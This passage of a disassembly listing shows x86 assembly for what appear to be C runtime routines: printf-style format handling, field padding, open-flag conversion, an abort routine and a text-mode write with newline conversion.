		jmp	short loc_44C2FB
; ---------------------------------------------------------------------------


loc_44C2B7:				; CODE XREF: sub_44C011+28Cj
		mov	edx, [ebp+arg_0]
		cmp	byte ptr [edx+3Ah], 6Ah
		jnz	short loc_44C2D8
		mov	edx, [ebp+arg_4]
		mov	ecx, [edx]
		add	ecx, 8
		mov	[edx], ecx
		mov	ebx, [ecx-4]
		mov	ecx, [ecx-8]
		mov	[ebp+var_18], ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_44C2EF
; ---------------------------------------------------------------------------


loc_44C2D8:				; CODE XREF: sub_44C011+2ADj
		mov	edx, [ebp+arg_4]
		mov	ecx, [edx]
		add	ecx, 4
		mov	[edx], ecx
		mov	edx, [ecx-4]
		mov	ecx, edx
		xor	ebx, ebx
		mov	[ebp+var_18], ecx
		mov	[ebp+var_14], ebx


loc_44C2EF:				; CODE XREF: sub_44C011+2C5j
		mov	ecx, [ebp+var_18]
		mov	ebx, [ebp+var_14]
		mov	[ebp+var_18], ecx
		mov	[ebp+var_14], ebx


loc_44C2FB:				; CODE XREF: sub_44C011+2A4j
		mov	ecx, [ebp+var_18]
		mov	ebx, [ebp+var_14]
		mov	[ebp+var_18], ecx
		mov	[ebp+var_14], ebx


loc_44C307:				; CODE XREF: sub_44C011+283j
		mov	ecx, [ebp+var_18]
		mov	ebx, [ebp+var_14]
		mov	[eax], ecx
		mov	[eax+4], ebx
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+3Ah], 68h
		jnz	short loc_44C336
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		mov	ebx, [eax+4]
		mov	edx, ecx
		movzx	edx, dx
		mov	ecx, edx
		mov	ebx, ecx
		sar	ebx, 1Fh
		mov	[eax], ecx
		mov	[eax+4], ebx
		jmp	short loc_44C379
; ---------------------------------------------------------------------------


loc_44C336:				; CODE XREF: sub_44C011+308j
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+3Ah], 62h
		jnz	short loc_44C35A
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		mov	ebx, [eax+4]
		mov	edx, ecx
		movzx	edx, dl
		mov	ecx, edx
		mov	ebx, ecx
		sar	ebx, 1Fh
		mov	[eax], ecx
		mov	[eax+4], ebx
		jmp	short loc_44C379
; ---------------------------------------------------------------------------


loc_44C35A:				; CODE XREF: sub_44C011+32Cj
		mov	eax, [ebp+arg_0]
		mov	al, [eax+3Ah]
		cmp	al, 74h
		jz	short loc_44C368
		cmp	al, 7Ah
		jnz	short loc_44C379


loc_44C368:				; CODE XREF: sub_44C011+351j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		mov	ebx, [eax+4]
		mov	edx, ecx
		xor	ebx, ebx
		mov	[eax], ecx
		mov	[eax+4], ebx


loc_44C379:				; CODE XREF: sub_44C011+323j
					; sub_44C011+347j ...
		mov	eax, [ebp+arg_0]
		test	word ptr [eax+38h], 8
		jz	short loc_44C3C4
		mov	edx, [eax+4]
		mov	eax, [eax]
		test	edx, edx
		jnz	short loc_44C391
		test	eax, eax
		jz	short loc_44C3C4


loc_44C391:				; CODE XREF: sub_44C011+37Aj
		mov	al, [ebp+arg_8]
		cmp	al, 78h
		jz	short loc_44C39C
		cmp	al, 58h
		jnz	short loc_44C3C4


loc_44C39C:				; CODE XREF: sub_44C011+385j
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		lea	ecx, [edx+1]
		mov	[eax+14h], ecx
		mov	eax, [ebp+arg_C]
		mov	byte ptr [eax+edx], 30h
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		lea	ecx, [edx+1]
		mov	[eax+14h], ecx
		mov	eax, [ebp+arg_C]
		mov	cl, [ebp+arg_8]
		mov	[eax+edx], cl


loc_44C3C4:				; CODE XREF: sub_44C011+371j
					; sub_44C011+37Ej ...
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		mov	ecx, [ebp+arg_C]
		add	edx, ecx
		mov	[eax+10h], edx
		movzx	eax, [ebp+arg_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_44D3E1
		add	esp, 8
		jmp	loc_44C743
; ---------------------------------------------------------------------------
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+3Ah], 4Ch
		jnz	short loc_44C403
		mov	edx, [ebp+arg_4]
		mov	ecx, [edx]
		add	ecx, 8
		mov	[edx], ecx
		fld	qword ptr [ecx-8]
		fstp	[ebp+var_20]
		jmp	short loc_44C413
; ---------------------------------------------------------------------------


loc_44C403:				; CODE XREF: sub_44C011+3DEj
		mov	edx, [ebp+arg_4]
		mov	ecx, [edx]
		add	ecx, 8
		mov	[edx], ecx
		fld	qword ptr [ecx-8]
		fstp	[ebp+var_20]


loc_44C413:				; CODE XREF: sub_44C011+3F0j
		fld	[ebp+var_20]
		fstp	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_44D621
		pop	ecx
		cmp	ax, 2
		jz	short loc_44C486
		mov	eax, [ebp+arg_0]
		test	word ptr [eax+6], 8000h
		jz	short loc_44C448
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		lea	ecx, [edx+1]
		mov	[eax+14h], ecx
		mov	eax, [ebp+arg_C]
		mov	byte ptr [eax+edx], 2Dh
		jmp	short loc_44C486
; ---------------------------------------------------------------------------


loc_44C448:				; CODE XREF: sub_44C011+420j
		mov	eax, [ebp+arg_0]
		test	word ptr [eax+38h], 2
		jz	short loc_44C468
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		lea	ecx, [edx+1]
		mov	[eax+14h], ecx
		mov	eax, [ebp+arg_C]
		mov	byte ptr [eax+edx], 2Bh
		jmp	short loc_44C486
; ---------------------------------------------------------------------------


loc_44C468:				; CODE XREF: sub_44C011+440j
		mov	eax, [ebp+arg_0]
		test	word ptr [eax+38h], 1
		jz	short loc_44C486
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		lea	ecx, [edx+1]
		mov	[eax+14h], ecx
		mov	eax, [ebp+arg_C]
		mov	byte ptr [eax+edx], 20h


loc_44C486:				; CODE XREF: sub_44C011+415j
					; sub_44C011+435j ...
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		mov	ecx, [ebp+arg_C]
		add	edx, ecx
		mov	[eax+10h], edx
		movzx	eax, [ebp+arg_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_44D631
		add	esp, 8
		jmp	loc_44C743
; ---------------------------------------------------------------------------
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax+3Ah]
		mov	[ebp+var_24], eax
		cmp	eax, 68h
		jz	loc_44C593
		cmp	eax, 6Ah
		jz	short loc_44C53B
		cmp	eax, 6Ch
		jz	loc_44C5AE
		jg	short loc_44C4D8
		cmp	[ebp+var_24], 62h
		jz	short loc_44C4FD
		jmp	loc_44C5C8
; ---------------------------------------------------------------------------


loc_44C4D8:				; CODE XREF: sub_44C011+4BAj
		mov	eax, [ebp+var_24]
		cmp	eax, 71h
		jz	short loc_44C517
		cmp	eax, 74h
		jz	short loc_44C55F
		cmp	eax, 71h
		jl	loc_44C5C8
		cmp	[ebp+var_24], 7Ah
		jz	loc_44C579
		jmp	loc_44C5C8
; ---------------------------------------------------------------------------


loc_44C4FD:				; CODE XREF: sub_44C011+4C0j
		mov	eax, [ebp+arg_4]
		mov	edx, [eax]
		add	edx, 4
		mov	[eax], edx
		mov	edx, [edx-4]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+30h]
		mov	[edx], al
		jmp	loc_44C743
; ---------------------------------------------------------------------------


loc_44C517:				; CODE XREF: sub_44C011+4CDj
		mov	eax, [ebp+arg_4]
		mov	edx, [eax]
		add	edx, 4
		mov	[eax], edx
		mov	eax, [edx-4]
		mov	edx, [ebp+arg_0]
		mov	edx, [edx+30h]
		mov	ecx, edx
		mov	ebx, ecx
		sar	ebx, 1Fh
		mov	[eax], ecx
		mov	[eax+4], ebx
		jmp	loc_44C743
; ---------------------------------------------------------------------------


loc_44C53B:				; CODE XREF: sub_44C011+4AFj
		mov	eax, [ebp+arg_4]
		mov	edx, [eax]
		add	edx, 4
		mov	[eax], edx
		mov	eax, [edx-4]
		mov	edx, [ebp+arg_0]
		mov	edx, [edx+30h]
		mov	ecx, edx
		mov	ebx, ecx
		sar	ebx, 1Fh
		mov	[eax], ecx
		mov	[eax+4], ebx
		jmp	loc_44C743
; ---------------------------------------------------------------------------


loc_44C55F:				; CODE XREF: sub_44C011+4D2j
		mov	eax, [ebp+arg_4]
		mov	edx, [eax]
		add	edx, 4
		mov	[eax], edx
		mov	edx, [edx-4]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+30h]
		mov	[edx], eax
		jmp	loc_44C743
; ---------------------------------------------------------------------------


loc_44C579:				; CODE XREF: sub_44C011+4E1j
		mov	eax, [ebp+arg_4]
		mov	edx, [eax]
		add	edx, 4
		mov	[eax], edx
		mov	edx, [edx-4]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+30h]
		mov	[edx], eax
		jmp	loc_44C743
; ---------------------------------------------------------------------------


loc_44C593:				; CODE XREF: sub_44C011+4A6j
		mov	eax, [ebp+arg_4]
		mov	edx, [eax]
		add	edx, 4
		mov	[eax], edx
		mov	edx, [edx-4]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+30h]
		mov	[edx], ax
		jmp	loc_44C743
; ---------------------------------------------------------------------------


loc_44C5AE:				; CODE XREF: sub_44C011+4B4j
		mov	eax, [ebp+arg_4]
		mov	edx, [eax]
		add	edx, 4
		mov	[eax], edx
		mov	edx, [edx-4]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+30h]
		mov	[edx], eax
		jmp	loc_44C743
; ---------------------------------------------------------------------------


loc_44C5C8:				; CODE XREF: sub_44C011+4C2j
					; sub_44C011+4D7j ...
		mov	eax, [ebp+arg_4]
		mov	edx, [eax]
		add	edx, 4
		mov	[eax], edx
		mov	edx, [edx-4]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+30h]
		mov	[edx], eax
		jmp	loc_44C743
; ---------------------------------------------------------------------------
		mov	eax, [ebp+arg_4]
		mov	edx, [eax]
		add	edx, 4
		mov	[eax], edx
		mov	eax, [ebp+arg_0]
		mov	edx, [edx-4]
		mov	ecx, edx
		mov	ebx, ecx
		sar	ebx, 1Fh
		mov	[eax], ecx
		mov	[eax+4], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		mov	ebx, [eax+4]
		xor	ebx, ebx
		mov	[eax], ecx
		mov	[eax+4], ebx
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+34h], 8
		mov	eax, [ebp+arg_0]
		or	word ptr [eax+38h], 10h
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		mov	ecx, [ebp+arg_C]
		add	edx, ecx
		mov	[eax+10h], edx
		push	78h
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_44D3E1
		add	esp, 8
		jmp	loc_44C743
; ---------------------------------------------------------------------------
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+3Ah], 6Ch
		jz	loc_44C6E0
		mov	eax, [ebp+arg_4]
		mov	edx, [eax]
		add	edx, 4
		mov	[ebp+var_2C], edx
		mov	[eax], edx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_2C]
		mov	eax, [eax-4]
		mov	[edx+10h], eax
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+10h], 0
		jnz	short loc_44C679
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+10h], offset dword_40FE00


loc_44C679:				; CODE XREF: sub_44C011+65Cj
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_38], eax
		cmp	dword ptr [eax+2Ch], 0
		jge	short loc_44C69A
		mov	edx, [ebp+arg_0]
		mov	edx, [edx+10h]
		or	eax, 0FFFFFFFFh


loc_44C68E:				; CODE XREF: sub_44C011+682j
		inc	eax
		cmp	byte ptr [edx+eax], 0
		jnz	short loc_44C68E
		mov	[ebp+var_30], eax
		jmp	short loc_44C6D5
; ---------------------------------------------------------------------------


loc_44C69A:				; CODE XREF: sub_44C011+672j
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+2Ch]
		push	edx
		push	0
		mov	eax, [eax+10h]
		push	eax
		call	sub_44B381
		add	esp, 0Ch
		mov	[ebp+var_28], eax
		test	eax, eax
		jz	short loc_44C6C6
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+arg_0]
		mov	edx, [edx+10h]
		sub	eax, edx
		mov	[ebp+var_34], eax
		jmp	short loc_44C6CF
; ---------------------------------------------------------------------------


loc_44C6C6:				; CODE XREF: sub_44C011+6A3j
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+2Ch]
		mov	[ebp+var_34], eax


loc_44C6CF:				; CODE XREF: sub_44C011+6B3j
		mov	eax, [ebp+var_34]
		mov	[ebp+var_30], eax


loc_44C6D5:				; CODE XREF: sub_44C011+687j
		mov	eax, [ebp+var_30]
		mov	edx, [ebp+var_38]
		mov	[edx+1Ch], eax
		jmp	short loc_44C743
; ---------------------------------------------------------------------------


loc_44C6E0:				; CODE XREF: sub_44C011+636j
		mov	eax, [ebp+arg_4]
		mov	edx, [eax]
		add	edx, 4
		mov	[eax], edx
		mov	eax, [edx-4]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_44D291
		add	esp, 8
		test	eax, eax
		jge	short loc_44C743
		or	eax, 0FFFFFFFFh
		jmp	short loc_44C745
; ---------------------------------------------------------------------------


loc_44C703:				; CODE XREF: sub_44C011+23j
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		lea	ecx, [edx+1]
		mov	[eax+14h], ecx
		mov	eax, [ebp+arg_C]
		mov	byte ptr [eax+edx], 25h
		jmp	short loc_44C743
; ---------------------------------------------------------------------------


loc_44C718:				; CODE XREF: sub_44C011+29j
					; sub_44C011+3Aj ...
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+14h]
		lea	ecx, [edx+1]
		mov	[eax+14h], ecx
		cmp	[ebp+arg_8], 0
		jz	short loc_44C733
		movzx	eax, [ebp+arg_8]
		mov	[ebp+var_28], eax
		jmp	short loc_44C73A
; ---------------------------------------------------------------------------


loc_44C733:				; CODE XREF: sub_44C011+717j
		mov	[ebp+var_28], 25h


loc_44C73A:				; CODE XREF: sub_44C011+720j
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+var_28]
		mov	[eax+edx], cl


loc_44C743:				; CODE XREF: sub_44C011+84j
					; sub_44C011+BDj ...
		xor	eax, eax


loc_44C745:				; CODE XREF: sub_44C011+C6j
					; sub_44C011+6F0j
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44C011	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44C751	proc near		; CODE XREF: sub_44ABC1+25Ap
					; sub_44D291+D7p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx+34h]
		sub	eax, [ebx+14h]
		sub	eax, [ebx+18h]
		sub	eax, [ebx+1Ch]
		sub	eax, [ebx+20h]
		sub	eax, [ebx+24h]
		sub	eax, [ebx+28h]
		mov	[ebp+var_4], eax
		test	word ptr [ebx+38h], 4
		jnz	short loc_44C7D0
		cmp	[ebp+var_4], 0
		jle	short loc_44C7D0
		mov	esi, [ebp+var_4]
		jmp	short loc_44C7CC
; ---------------------------------------------------------------------------


loc_44C788:				; CODE XREF: sub_44C751+7Dj
		cmp	esi, 20h
		jbe	short loc_44C796
		mov	[ebp+var_8], 20h
		jmp	short loc_44C79B
; ---------------------------------------------------------------------------


loc_44C796:				; CODE XREF: sub_44C751+3Aj
		mov	eax, esi
		mov	[ebp+var_8], eax


loc_44C79B:				; CODE XREF: sub_44C751+43j
		mov	eax, [ebp+var_8]
		mov	edi, eax
		test	edi, edi
		jle	short loc_44C7CA
		push	edi
		push	offset asc_40FE08 ; "				     "
		mov	eax, [ebx+0Ch]
		push	eax
		call	dword ptr [ebx+8]
		add	esp, 0Ch
		lea	edx, [ebx+0Ch]
		mov	[edx], eax
		test	eax, eax
		jz	short loc_44C7C2
		add	[ebx+30h], edi
		jmp	short loc_44C7CA
; ---------------------------------------------------------------------------


loc_44C7C2:				; CODE XREF: sub_44C751+6Aj
		or	eax, 0FFFFFFFFh
		jmp	loc_44C9B8
; ---------------------------------------------------------------------------


loc_44C7CA:				; CODE XREF: sub_44C751+51j
					; sub_44C751+6Fj
		sub	esi, edi


loc_44C7CC:				; CODE XREF: sub_44C751+35j
		test	esi, esi
		jg	short loc_44C788


loc_44C7D0:				; CODE XREF: sub_44C751+2Aj
					; sub_44C751+30j
		cmp	dword ptr [ebx+14h], 0
		jle	short loc_44C801
		mov	eax, [ebx+14h]
		push	eax
		mov	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebx+0Ch]
		push	eax
		call	dword ptr [ebx+8]
		add	esp, 0Ch
		lea	edx, [ebx+0Ch]
		mov	[edx], eax
		test	eax, eax
		jz	short loc_44C7F9
		mov	eax, [ebx+14h]
		add	[ebx+30h], eax
		jmp	short loc_44C801
; ---------------------------------------------------------------------------


loc_44C7F9:				; CODE XREF: sub_44C751+9Ej
		or	eax, 0FFFFFFFFh
		jmp	loc_44C9B8
; ---------------------------------------------------------------------------


loc_44C801:				; CODE XREF: sub_44C751+83j
					; sub_44C751+A6j
		cmp	dword ptr [ebx+18h], 0
		jle	short loc_44C854
		mov	esi, [ebx+18h]
		jmp	short loc_44C850
; ---------------------------------------------------------------------------


loc_44C80C:				; CODE XREF: sub_44C751+101j
		cmp	esi, 20h
		jbe	short loc_44C81A
		mov	[ebp+var_8], 20h
		jmp	short loc_44C81F
; ---------------------------------------------------------------------------


loc_44C81A:				; CODE XREF: sub_44C751+BEj
		mov	eax, esi
		mov	[ebp+var_8], eax


loc_44C81F:				; CODE XREF: sub_44C751+C7j
		mov	eax, [ebp+var_8]
		mov	edi, eax
		test	edi, edi
		jle	short loc_44C84E
		push	edi
		push	offset a00000000000000 ; "00000000000000000000000000000000"
		mov	eax, [ebx+0Ch]
		push	eax
		call	dword ptr [ebx+8]
		add	esp, 0Ch
		lea	edx, [ebx+0Ch]
		mov	[edx], eax
		test	eax, eax
		jz	short loc_44C846
		add	[ebx+30h], edi
		jmp	short loc_44C84E
; ---------------------------------------------------------------------------


loc_44C846:				; CODE XREF: sub_44C751+EEj
		or	eax, 0FFFFFFFFh
		jmp	loc_44C9B8
; ---------------------------------------------------------------------------


loc_44C84E:				; CODE XREF: sub_44C751+D5j
					; sub_44C751+F3j
		sub	esi, edi


loc_44C850:				; CODE XREF: sub_44C751+B9j
		test	esi, esi
		jg	short loc_44C80C


loc_44C854:				; CODE XREF: sub_44C751+B4j
		cmp	dword ptr [ebx+1Ch], 0
		jle	short loc_44C885
		mov	eax, [ebx+1Ch]
		push	eax
		mov	eax, [ebx+10h]
		push	eax
		mov	eax, [ebx+0Ch]
		push	eax
		call	dword ptr [ebx+8]
		add	esp, 0Ch
		lea	edx, [ebx+0Ch]
		mov	[edx], eax
		test	eax, eax
		jz	short loc_44C87D
		mov	eax, [ebx+1Ch]
		add	[ebx+30h], eax
		jmp	short loc_44C885
; ---------------------------------------------------------------------------


loc_44C87D:				; CODE XREF: sub_44C751+122j
		or	eax, 0FFFFFFFFh
		jmp	loc_44C9B8
; ---------------------------------------------------------------------------


loc_44C885:				; CODE XREF: sub_44C751+107j
					; sub_44C751+12Aj
		cmp	dword ptr [ebx+20h], 0
		jle	short loc_44C8D8
		mov	esi, [ebx+20h]
		jmp	short loc_44C8D4
; ---------------------------------------------------------------------------


loc_44C890:				; CODE XREF: sub_44C751+185j
		cmp	esi, 20h
		jbe	short loc_44C89E
		mov	[ebp+var_8], 20h
		jmp	short loc_44C8A3
; ---------------------------------------------------------------------------


loc_44C89E:				; CODE XREF: sub_44C751+142j
		mov	eax, esi
		mov	[ebp+var_8], eax


loc_44C8A3:				; CODE XREF: sub_44C751+14Bj
		mov	eax, [ebp+var_8]
		mov	edi, eax
		test	edi, edi
		jle	short loc_44C8D2
		push	edi
		push	offset a00000000000000 ; "00000000000000000000000000000000"
		mov	eax, [ebx+0Ch]
		push	eax
		call	dword ptr [ebx+8]
		add	esp, 0Ch
		lea	edx, [ebx+0Ch]
		mov	[edx], eax
		test	eax, eax
		jz	short loc_44C8CA
		add	[ebx+30h], edi
		jmp	short loc_44C8D2
; ---------------------------------------------------------------------------


loc_44C8CA:				; CODE XREF: sub_44C751+172j
		or	eax, 0FFFFFFFFh
		jmp	loc_44C9B8
; ---------------------------------------------------------------------------


loc_44C8D2:				; CODE XREF: sub_44C751+159j
					; sub_44C751+177j
		sub	esi, edi


loc_44C8D4:				; CODE XREF: sub_44C751+13Dj
		test	esi, esi
		jg	short loc_44C890


loc_44C8D8:				; CODE XREF: sub_44C751+138j
		cmp	dword ptr [ebx+24h], 0
		jle	short loc_44C90E
		mov	eax, [ebx+24h]
		push	eax
		mov	eax, [ebx+1Ch]
		mov	edx, [ebx+10h]
		add	eax, edx
		push	eax
		mov	eax, [ebx+0Ch]
		push	eax
		call	dword ptr [ebx+8]
		add	esp, 0Ch
		lea	edx, [ebx+0Ch]
		mov	[edx], eax
		test	eax, eax
		jz	short loc_44C906
		mov	eax, [ebx+24h]
		add	[ebx+30h], eax
		jmp	short loc_44C90E
; ---------------------------------------------------------------------------


loc_44C906:				; CODE XREF: sub_44C751+1ABj
		or	eax, 0FFFFFFFFh
		jmp	loc_44C9B8
; ---------------------------------------------------------------------------


loc_44C90E:				; CODE XREF: sub_44C751+18Bj
					; sub_44C751+1B3j
		cmp	dword ptr [ebx+28h], 0
		jle	short loc_44C95E
		mov	esi, [ebx+28h]
		jmp	short loc_44C95A
; ---------------------------------------------------------------------------


loc_44C919:				; CODE XREF: sub_44C751+20Bj
		cmp	esi, 20h
		jbe	short loc_44C927
		mov	[ebp+var_8], 20h
		jmp	short loc_44C92C
; ---------------------------------------------------------------------------


loc_44C927:				; CODE XREF: sub_44C751+1CBj
		mov	eax, esi
		mov	[ebp+var_8], eax


loc_44C92C:				; CODE XREF: sub_44C751+1D4j
		mov	eax, [ebp+var_8]
		mov	edi, eax
		test	edi, edi
		jle	short loc_44C958
		push	edi
		push	offset a00000000000000 ; "00000000000000000000000000000000"
		mov	eax, [ebx+0Ch]
		push	eax
		call	dword ptr [ebx+8]
		add	esp, 0Ch
		lea	edx, [ebx+0Ch]
		mov	[edx], eax
		test	eax, eax
		jz	short loc_44C953
		add	[ebx+30h], edi
		jmp	short loc_44C958
; ---------------------------------------------------------------------------


loc_44C953:				; CODE XREF: sub_44C751+1FBj
		or	eax, 0FFFFFFFFh
		jmp	short loc_44C9B8
; ---------------------------------------------------------------------------


loc_44C958:				; CODE XREF: sub_44C751+1E2j
					; sub_44C751+200j
		sub	esi, edi


loc_44C95A:				; CODE XREF: sub_44C751+1C6j
		test	esi, esi
		jg	short loc_44C919


loc_44C95E:				; CODE XREF: sub_44C751+1C1j
		test	word ptr [ebx+38h], 4
		jz	short loc_44C9B6
		cmp	[ebp+var_4], 0
		jle	short loc_44C9B6
		mov	esi, [ebp+var_4]
		jmp	short loc_44C9B2
; ---------------------------------------------------------------------------


loc_44C971:				; CODE XREF: sub_44C751+263j
		cmp	esi, 20h
		jbe	short loc_44C97F
		mov	[ebp+var_8], 20h
		jmp	short loc_44C984
; ---------------------------------------------------------------------------


loc_44C97F:				; CODE XREF: sub_44C751+223j
		mov	eax, esi
		mov	[ebp+var_8], eax


loc_44C984:				; CODE XREF: sub_44C751+22Cj
		mov	eax, [ebp+var_8]
		mov	edi, eax
		test	edi, edi
		jle	short loc_44C9B0
		push	edi
		push	offset asc_40FE08 ; "				     "
		mov	eax, [ebx+0Ch]
		push	eax
		call	dword ptr [ebx+8]
		add	esp, 0Ch
		lea	edx, [ebx+0Ch]
		mov	[edx], eax
		test	eax, eax
		jz	short loc_44C9AB
		add	[ebx+30h], edi
		jmp	short loc_44C9B0
; ---------------------------------------------------------------------------


loc_44C9AB:				; CODE XREF: sub_44C751+253j
		or	eax, 0FFFFFFFFh
		jmp	short loc_44C9B8
; ---------------------------------------------------------------------------


loc_44C9B0:				; CODE XREF: sub_44C751+23Aj
					; sub_44C751+258j
		sub	esi, edi


loc_44C9B2:				; CODE XREF: sub_44C751+21Ej
		test	esi, esi
		jg	short loc_44C971


loc_44C9B6:				; CODE XREF: sub_44C751+213j
					; sub_44C751+219j
		xor	eax, eax


loc_44C9B8:				; CODE XREF: sub_44C751+74j
					; sub_44C751+ABj ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44C751	endp

; ---------------------------------------------------------------------------
		db 89h,	0FFh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44C9C1	proc near		; CODE XREF: sub_44AF01+101p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	ebx, [ebp+arg_4]
		mov	eax, ebx
		and	eax, 3
		mov	esi, dword_40FE4C[eax*4]
		test	ebx, 4
		jz	short loc_44C9E0
		or	esi, 8


loc_44C9E0:				; CODE XREF: sub_44C9C1+1Aj
		test	ebx, 8
		jz	short loc_44C9EE
		or	esi, 200h


loc_44C9EE:				; CODE XREF: sub_44C9C1+25j
		test	ebx, 10h
		jz	short loc_44C9FC
		or	esi, 100h


loc_44C9FC:				; CODE XREF: sub_44C9C1+33j
		test	ebx, 20h
		jz	short loc_44CA0C
		or	esi, 8000h
		jmp	short loc_44CA12
; ---------------------------------------------------------------------------


loc_44CA0C:				; CODE XREF: sub_44C9C1+41j
		or	esi, 4000h


loc_44CA12:				; CODE XREF: sub_44C9C1+49j
		push	180h
		push	esi
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_44DC91
		add	esp, 0Ch
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_44C9C1	endp

; ---------------------------------------------------------------------------
		db 89h,	0FFh
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_44CA31	proc near		; CODE XREF: sub_44B051+Dp
		push	6
		call	sub_44E0A1
		pop	ecx
		push	1
		call	sub_449DC1
		pop	ecx
		retn
sub_44CA31	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44CA51	proc near		; CODE XREF: sub_44CC41+4Bp
					; sub_44F031+ADp

var_411		= byte ptr -411h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_C], 0
		mov	[ebp+var_4], 0
		cmp	[ebp+arg_8], 0
		jnz	short loc_44CA78
		xor	eax, eax
		jmp	loc_44CC3A
; ---------------------------------------------------------------------------


loc_44CA78:				; CODE XREF: sub_44CA51+1Ej
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		and	edx, 1Fh
		imul	edx, 24h
		sar	eax, 5
		mov	eax, dword_413988[eax*4]
		test	byte ptr [eax+edx+4], 20h
		jz	short loc_44CAA4
		push	2
		push	0
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_44E1D1
		add	esp, 0Ch


loc_44CAA4:				; CODE XREF: sub_44CA51+41j
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		and	edx, 1Fh
		imul	edx, 24h
		sar	eax, 5
		mov	eax, dword_413988[eax*4]
		test	byte ptr [eax+edx+4], 80h
		jz	loc_44CB85
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_10], 0
		jmp	loc_44CB71
; ---------------------------------------------------------------------------


loc_44CAD3:				; CODE XREF: sub_44CA51+12Cj
		lea	edi, [ebp+var_411]
		jmp	short loc_44CAF3
; ---------------------------------------------------------------------------


loc_44CADB:				; CODE XREF: sub_44CA51+C0j
		mov	eax, esi
		inc	esi
		mov	bl, [eax]
		cmp	bl, 0Ah
		jnz	short loc_44CAEE
		inc	[ebp+var_4]
		mov	eax, edi
		inc	edi
		mov	byte ptr [eax],	0Dh


loc_44CAEE:				; CODE XREF: sub_44CA51+92j
		mov	eax, edi
		inc	edi
		mov	[eax], bl


loc_44CAF3:				; CODE XREF: sub_44CA51+88j
		lea	eax, [ebp+var_411]
		mov	edx, edi
		sub	edx, eax
		cmp	edx, 400h
		jge	short loc_44CB13
		mov	eax, [ebp+arg_4]
		mov	edx, esi
		sub	edx, eax
		mov	eax, edx
		cmp	eax, [ebp+arg_8]
		jb	short loc_44CADB


loc_44CB13:				; CODE XREF: sub_44CA51+B2j
		push	0
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_411]
		mov	edx, edi
		sub	edx, eax
		mov	eax, edx
		push	eax
		lea	eax, [ebp+var_411]
		push	eax
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		and	edx, 1Fh
		imul	edx, 24h
		sar	eax, 5
		mov	eax, dword_413988[eax*4]
		mov	eax, [eax+edx]
		push	eax
		call	dword_411E08
		test	eax, eax
		jz	short loc_44CB66
		mov	eax, [ebp+var_8]
		add	[ebp+var_C], eax
		lea	edx, [ebp+var_411]
		mov	ecx, edi
